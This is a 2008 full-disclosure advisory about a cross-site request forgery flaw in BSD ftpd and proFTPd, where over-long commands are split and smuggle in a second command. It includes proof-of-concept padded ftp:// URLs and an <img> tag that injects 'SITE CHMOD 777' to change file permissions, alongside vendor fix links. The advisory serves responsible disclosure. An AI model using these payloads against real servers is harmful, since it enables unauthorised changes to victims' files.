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Date: Fri, 26 Sep 2008 17:51:47 +0200 From: "Maksymilian Arciemowicz" <cxib@...urityreason.com> To: full-disclosure@...ts.grok.org.uk Subject: multiple vendor ftpd - Cross-site request forgery -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ multiple vendor ftpd - Cross-site request forgery ] Author: Maksymilian Arciemowicz securityreason.com Date: - - Written: 03.09.2008 - - Public: 26.09.2008 SecurityReason Research SecurityAlert Id: 56 CVE: not assigned SecurityRisk: Low Affected Software: This problem has been discovered on OpenBSD 4.3 . - - Affected systems: + OpenBSD + NetBSD + FreeBSD + some linux - - Affected applications: + proFTPd + others Advisory URL: http://securityreason.com/achievement_securityalert/56 - --- 0.Description --- ftpd -- Internet File Transfer Protocol server The ftpd utility is the Internet File Transfer Protocol server process. The server uses the TCP protocol and listens at the port specified with the -P option or in the ``ftp'' service specification; see services(5). Cross-site request forgery, also known as one click attack, sidejacking or session riding and abbreviated as CSRF (Sea-Surf[1]) or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user the website trusts. Contrary to cross-site scripting (XSS), which exploits the trust a user has for a particular site, cross-site request forgery exploits the trust that a site has for a particular user. http://en.wikipedia.org/wiki/Cross-site_request_forgery - --- 1. ftpd bsd - Cross-site request forgery --- The main problem exists in dividing long command for few others. The problem stems from the fact the use of the loop for(;;) and function fgets(). Example: Command "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" will be split for 500 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': command not understood. 500 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA' When we try request to ftp deamon via browsers and path is longer 512<, our URL will be split. /* FreeBSD 7.0 */ ftp://cxib@....0.0.1///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////SYST return result from SYST command: 215 UNIX Type: L8 Version: BSD-199506 /* NetBSD 4.0 */ ftp://ftp.netbsd.org///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////SYST return result from SYST command: 215 UNIX Type: L8 Version: NetBSD-ftpd 20080609 The situation, can be dangerous, when this bug will be exploited like any CSRF attack. We can use SITE CHMOD command to change file permission or other combinations with ftp commands. Only we need some exploit and luck, that admin will executed exploited url. How to exploit it? 0. Creating some html file with <img> tags <img src="ftp://.....////SITE%20CHMOD%20777%20FILENAME"> .. 1. Give preparing URL for user. Example: ftp://ftp.netbsd.org///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////SITE%20CHMOD%20777%20EXAMPLEFILE will change permision to EXAMPLEFILE when the owner will use this URL. I think, it should be some byte, what inform about overflowing (empty command should nulling this byte). We have diagnosed this issue on BSD systems. Unfortunately, we do not know exactly how many machines can be affected. - --- 2. How to fix --- OpenBSD has been first informed. Fix is avalible on cvs: http://www.openbsd.org/cgi-bin/cvsweb/src/libexec/ftpd/ftpd.c http://www.openbsd.org/cgi-bin/cvsweb/src/libexec/ftpd/extern.h http://www.openbsd.org/cgi-bin/cvsweb/src/libexec/ftpd/ftpcmd.y Thanks for OpenBSD Team. NetBSD: http://cvsweb.netbsd.org/bsdweb.cgi/src/libexec/ftpd/ftpd.c proFTPd: http://bugs.proftpd.org/show_bug.cgi?id=3115 SecurityReason has informed only BSD developers and proFTPd Team. - --- 3. Greets --- sp3x infospec p_e_a pi3 schain - --- 4. Contact --- Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ] Email: cxib [at] securityreason [dot] com GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg http://securityreason.com http://securityreason.pl -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.8 (OpenBSD) iEYEARECAAYFAkjdBroACgkQpiCeOKaYa9aiFgCfSMm4Pb+2ELGr6WVNWcJHWz+8 3NgAoN6Owug0ezaLFqJ65xyrrDImtX3J =8Rij -----END PGP SIGNATURE----- Best Regards, ------------------------ pub 1024D/A6986BD6 2008-08-22 uid Maksymilian Arciemowicz (cxib) <cxib@...urityreason.com> sub 4096g/0889FA9A 2008-08-22 http://securityreason.com http://securityreason.com/key/Arciemowicz.Maksymilian.gpg _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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